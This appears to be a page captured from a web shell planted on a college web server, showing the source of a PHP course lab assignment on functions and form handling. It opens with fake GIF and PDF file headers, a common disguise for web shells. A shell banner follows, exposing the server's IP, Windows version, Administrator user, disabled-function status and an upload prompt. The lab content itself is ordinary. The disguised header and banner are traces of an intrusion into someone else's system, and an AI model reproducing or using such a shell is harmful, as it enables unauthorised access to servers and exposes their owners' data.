GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/MMDT1146/Labs/Lab04/ |
Upload File : |
<? // JimMartinson/MMDT1146/Labs/Lab04.phpinc include('Course/courseInfo.phpinc'); include('../../classInfo.phpinc'); $evaluationNumber = 4; $evaluationType = "Lab"; $evaluationTitle = "Form Revisited"; if ( !isset($assignmentSuffix) ) $assignmentSuffix = ''; $evaluationName = $evaluationType.twoDigit($evaluationNumber).$assignmentSuffix; $f_uId = formValue('uId'); if ( $f_uId ) $userId = $f_uId; if ( !isset($userId) ) $userId = $_SESSION['userId']; $title = $evaluationName.": ".$evaluationTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $js='openCenteredWindow'; $smallTitle = true; include('common/pageHeader.phpinc'); $sectionTitle = $title; include('common/sectionHeader.phpinc'); include('Gradebook/EvaluationSubmission_BEGIN.phpinc'); $uploadFilename = $evaluationName.'.zip'; ?> <?=$f_message?> <a name="Lab"></a> <fieldset><legend>Description</legend> Demonstrate the use PHP user created functions.<br> <?=$gradeNote?> </fieldset> <? $ShowSpanCountBefore = false; #$ShowSpanCountBefore = true; ?> <style type="text/css"> b { white-space:nowrap; } <? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; } entry, kbd, tt, samp, var { padding:0; white-space:nowrap; } comment { color:#0c0; background-color:#ffc; } /* comment */ samp { color:#c00; } /* attibute */ kbd { background-color:#ffc; color:#609; } /* attibute value */ tt { color:#00c; } /* tag */ var { color:#00f; font-style:normal; } /* variable */ entry { background-color:#ffc; color:#f00; } /* PHP start stop */ </style> <? /** / tt = tag samp = attribute kbd = attribute value /**/ ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend> <ol id="main" class="count"> <li>Create a <b><?=$evaluationName?></b> directory in the <b>Data_WWW/MMDT1146</b> directory and place all work for this lab in that folder.</li> <li>Setup <b><?=$evaluationName?></b> directory contents. <ol> <li>Copy the contents of your <b><?=$evaluationNamePrevious?></b> directory into the <b><?=$evaluationName?></b> directory.</li> <li>Rename the <b><?=$evaluationNamePrevious?>.php</b> file to <b><?=$evaluationName?>.php</b>.</li> <li>Delete the <b><?=$evaluationNamePrevious?>_Begin.php</b> file.</li> <li>Rename the <b><?=$evaluationNamePrevious?>_Verify.php</b> file to <b><?=$evaluationName?>_Verify.php</b>.</li> </ol> </li> <li>Setup the <b>common</b> directory contents. <ol> <li>Create a <b>common</b> directory in the <b>Data_WWW/MMDT1146</b> directory.</li> <li>Download the <a href="common.zip">common.zip</a> file and extract it's contentts into the <b>common</b> directory. <br>The directory should now contain three files: <b>footer.inc</b>, <b>functions.inc</b>, and <b>header.inc</b>. </li> </ol> </li> <li>Write the <code>f()</code> function. <br>A function stub is already in <b>common/function.inc</b> file and the function requirements are listed in the comments. </li> <li>Modify the <b><?=$evaluationName?>.php</b> so that it: <ol> <li>Sets <var>$title</var> to <kbd><?=$evaluationType?> <?=$evaluationNumber?> - <?=$userFullName?></kbd>.</li> <li>Uses <code>require</code> to load the <code>header.inc</code> file and remove the html lines in <b><?=$evaluationName?>.php</b> that it replaces.</li> <li>Remove the <code>require</code> for <b><?=$evaluationNamePrevious?>_Begin.php</b></li> <li>Requires the <b><?=$evaluationName?>_Verify.php</b> file, not <b><?=$evaluationNamePrevious?>_Verify.php</b>.</li> <li>The <tt>form</tt> <samp>name</samp> and <tt>input</tt> <samp>form</samp> values are <kbd>revisited_form_<?=$userFileName?></kbd>.</li> <li>Modify the <tt>input</tt>: <samp>name</samp>, <samp>password</samp>, and <samp>emailAddress</samp> so they use the <code>f()</code> function to fill in values.</li> <li>Modify the <tt>input</tt>: <samp>age</samp> and <samp>like[]</samp> elements so they use the <code>chk()</code> function to check values.</li> <li>Modify the <tt>textarea</tt> <samp>comments</samp> so it also uses the <code>f()</code> function to fill in it's value.</li> <li>Uses <code>require</code> to load the <code>footer.inc</code> file and remove the html lines in <b><?=$evaluationName?>.php</b> that it replaces.</li> </ol> </li> <li>Modify the <b><?=$evaluationName?>_Verify.php</b> file as needed by the lab number or any other changes you have made.</li> <li>Do extensive testing to ensure your pages perform as directed.</li> <li>Turn in your assignment: <ol type="a"> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>. <br>Your <b><?=$uploadFilename?></b> should include the <b><?=$evaluationNamePrevious?>.php</b>, <b><?=$evaluationNamePrevious?>_Verify.php</b>, <b>header.inc</b>, <b>footer.inc</b>, and <b>functions.inc</b> files. </li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li> <li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li> </ol> </li> </ol> <?=$gradeNote?> </fieldset> <? /** / ?> <br><code>code</code> <codechange>codechange</codechange> <codeold>codeold</codeold> <comment>comment</comment> <entry>entry</entry> <kbd>kbd</kbd> <samp>samp</samp> <tt>tt</tt> <ttchange>ttchange</ttchange> <var>var</var> <? /**/ include('Gradebook/EvaluationSubmission_END.phpinc'); $deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; } ?> <fieldset><legend>Grading Criteria</legend> Demonstrated assignment effectively: <b><?=$evaluationInfo['evaluationPoints']?></b> points. <br> There are some things I expect. If they are incorrect you will lose the following: <br> Work submitted incorrectly: -<?=$deductionPoints?>. <br> Work submitted late: -<?=$deductionPoints?> per week. <br> Re-submission of work for grading: -<?=$deductionPoints?> per submission. <br> I reserve the right <b>not</b> to apply the deduction points at my absolute discretion. </fieldset> <fieldset><legend>NOTES:</legend> <b>We will be using the following in every html page throughout this class:</b> <ul> <li>The HTML 5 DOCTYPE: <tt><!DOCTYPE html></tt>.</li> <li>An html tag with <samp>lang</samp> attribute: <tt><html <samp>lang="<kbd>en</kbd>"</samp>></tt>.</li> <li>A <tt>title</tt> tag.</li> <li>The meta character set tag <tt><meta <samp>charset="<kbd>utf-8</kbd>"</samp>></tt>.</li> <li>An <tt>h1</tt> heading tag with the same content as in the <tt>title</tt> tag.</li> </ul> </fieldset> <? include('../../ReferencesResources.phpinc'); include('common/sectionFooter.phpinc'); ?>